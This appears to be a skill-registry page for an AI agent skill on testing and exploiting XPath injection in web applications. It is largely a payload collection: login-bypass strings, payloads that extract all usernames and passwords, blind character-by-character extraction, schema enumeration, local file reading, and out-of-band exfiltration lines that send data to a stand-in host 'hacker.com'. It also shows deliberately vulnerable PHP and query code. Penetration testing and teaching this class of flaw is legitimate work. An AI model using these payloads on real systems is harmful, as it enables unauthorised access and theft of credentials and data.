# Xpath Injection

> How to test for and exploit XPath injection vulnerabilities in web applications. Use this skill whenever the user mentions XPath injection, XML query vulnerabilities, authentication bypass via XPath, blind XPath attacks, OOB XPath exploitation, or needs to enumerate XML schemas through XPath. Trigger this skill for any security testing involving XML-based authentication, login forms with XML backends, or when analyzing applications that construct XPath queries from user input.

- Skill: `abelrguezr/xpath-injection` (Agent Skill, multi-file: 3 files)
- Install (CLI): `npx skillmds@latest add abelrguezr/xpath-injection`
- Raw SKILL.md: https://api.skillmd.com/api/skills/abelrguezr/xpath-injection/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: Security
- Author: abelrguezr (https://skillmd.com/u/abelrguezr)
- Updated: 2026-09-10
- Page: https://skillmd.com/skills/abelrguezr/xpath-injection

---


# XPath Injection Testing

A skill for identifying and exploiting XPath injection vulnerabilities in web applications that construct XPath queries from user input.

## When to Use This Skill

Use this skill when:
- Testing login/authentication forms that may use XML backends
- Analyzing applications that process XML data with user input
- Enumerating XML document structures through injection points
- Performing blind XPath exploitation
- Conducting OOB (Out-of-Band) XPath attacks
- Bypassing authentication via XPath injection

## XPath Syntax Reference

### Node Selection

| Expression | Description |
|------------|-------------|
| `nodename` | Selects all nodes with the specified name |
| `/` | Selection from the root node |
| `//` | Selects nodes matching from current node, anywhere in document |
| `.` | Selects the current node |
| `..` | Selects the parent of the current node |
| `@` | Selects attributes |

### Common Path Expressions

```
/bookstore           # Root element bookstore
bookstore/book       # All book children of bookstore
//book               # All book elements anywhere
bookstore//book      # All book descendants of bookstore
//@lang              # All lang attributes
```

### Predicates for Filtering

```
/bookstore/book[1]           # First book element
/bookstore/book[last()]      # Last book element
/bookstore/book[last()-1]    # Penultimate book element
/bookstore/book[position()<3] # First two book elements
//title[@lang='en']          # Title elements with lang="en"
/bookstore/book[price>35.00] # Books with price > 35.00
```

### Wildcards

```
*           # Matches any element node
@*          # Matches any attribute node
node()      # Matches any node of any kind
```

## Authentication Bypass Techniques

### Basic OR Bypass

Use these payloads in username and/or password fields:

```
' or '1'='1
" or "1"="1
' or ''='
" or ""="
```

### Double OR Bypass (Single Vulnerable Field)

When only one field is vulnerable, use double OR:

```
' or /* or '
' or "a" or '
' or 1 or '
' or true() or '
```

### Selective Account Selection

```
'or string-length(name(.))<10 or'     # Account with name length < 10
'or contains(name,'adm') or'          # First account with "adm" in name
'or position()=2 or'                  # Select 2nd account
```

### Known Username Bypass

```
admin' or '
admin' or '1'='2
```

### Null Byte Injection

```
Username: ' or 1]%00
```

## String Extraction Payloads

### Extract All Values

```
') or 1=1 or ('                          # Get all names
') or 1=1] | //user/password[('')=('     # Get all names and passwords
') or 2=1] | //user/node()[('')=('       # Get all values
')] | //./node()[('')=('                 # Get all values
')] | //node()[('')=('                   # Get all values
```

### Extract Specific Fields

```
')] | //user/*[1] | a[('     # ID of all users
')] | //user/*[2] | a[('     # Name of all users
')] | //user/*[3] | a[('     # Password of all users
')] | //user/*[4] | a[('     # Account of all users
```

### Null Byte Abuse

```
')] | //password%00           # All names and passwords
```

## Blind XPath Exploitation

### Length Testing

```
' or string-length(//user[position()=1]/child::node()[position()=1])=4 or ''='
```

### Character Extraction

```
' or substring((//user[position()=1]/child::node()[position()=1]),1,1)="a" or ''='
```

### Codepoint Comparison

```
substring(//user[userid=5]/username,2,1)=codepoints-to-string(INT_ORD_CHAR_HERE)
```

### Error-Based Detection

```
... and ( if ( $employee/role = 2 ) then error() else 0 )...
```

## Schema Discovery

### Count-Based Enumeration

```
and count(/*) = 1                    # Root element count
and count(/*[1]/*) = 2               # Count children of root
and count(/*[1]/*[1]/*) = 1          # Count grandchildren
```

### Tag Name Discovery

```
and name(/*[1]) = "root"             # Confirm root tag name
and substring(name(/*[1]/*[1]),1,1) = "a"  # First char of tag name
and string-to-codepoints(substring(name(/*[1]/*[1]/*),1,1)) = 105  # Codepoint check
```

## OOB (Out-of-Band) Exploitation

### Data Exfiltration via doc()

```
# Basic OOB
 doc(concat("http://hacker.com/oob/", RESULTS))

# Extract specific data
doc(concat("http://hacker.com/oob/", /Employees/Employee[1]/username))

# URL-encoded data
doc(concat("http://hacker.com/oob/", encode-for-uri(/Employees/Employee[1]/username)))

# Using doc-available() (returns true/false)
doc-available(concat("http://hacker.com/oob/", RESULTS))

# Invert result
user not(doc-available(...))
```

### Schema Exfiltration OOB

```
doc(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
doc-available(concat("http://hacker.com/oob/", name(/*[1]/*[1]), name(/*[1]/*[1]/*[1])))
```

## File Reading

```
(substring((doc('file://protected/secret.xml')/*[1]/*[1]/text()[1]),3,1))) < 127
```

## Automated Tools

| Tool | Description | Link |
|------|-------------|------|
| xcat | XPath injection testing tool | https://xcat.readthedocs.io/ |
| xxxpwn | XPath injection exploitation | https://github.com/feakk/xxxpwn |
| xxxpwn_smart | Enhanced xxxpwn | https://github.com/aayla-secura/xxxpwn_smart |
| xpath-blind-explorer | Blind XPath enumeration | https://github.com/micsoftvn/xpath-blind-explorer |
| XmlChor | XML injection tool | https://github.com/Harshal35/XMLCHOR |

## Testing Workflow

1. **Identify injection points** - Look for login forms, search fields, or any input that might be used in XPath queries
2. **Test for vulnerability** - Use basic OR bypass payloads like `' or '1'='1`
3. **Determine output type** - Is it reflected in response, error messages, or behavior change?
4. **Choose exploitation method**:
   - **Reflected output**: Use string extraction payloads
   - **Blind**: Use length/character comparison or error-based
   - **OOB capable**: Use doc() or doc-available() functions
5. **Enumerate schema** - Use count() and name() functions to map XML structure
6. **Extract data** - Use appropriate payloads based on output type

## Example XML Structure

```
<?xml version="1.0" encoding="ISO-8859-1"?>
<data>
<user>
    <name>pepe</name>
    <password>peponcio</password>
    <account>admin</account>
</user>
<user>
    <name>mark</name>
    <password>m12345</password>
    <account>regular</account>
</user>
</data>
```

## Common Query Patterns

### Authentication Query (Vulnerable)

```
string(//user[name/text()='+VAR_USER+' and password/text()='+VAR_PASSWD+']/account/text())
```

### PHP Example (Vulnerable)

```php
$q = '/usuarios/usuario[cuenta="' . $_POST['user'] . '" and passwd="' . $_POST['passwd'] . '"]';
```

## References

- [PayloadsAllTheThings - XPath Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XPATH%20Injection)
- [OWASP - Testing for XPath Injection](https://wiki.owasp.org/index.php/Testing_for_XPath_Injection_(OTG-INPVAL-010))
- [W3Schools - XPath Syntax](https://www.w3schools.com/xml/xpath_syntax.asp)

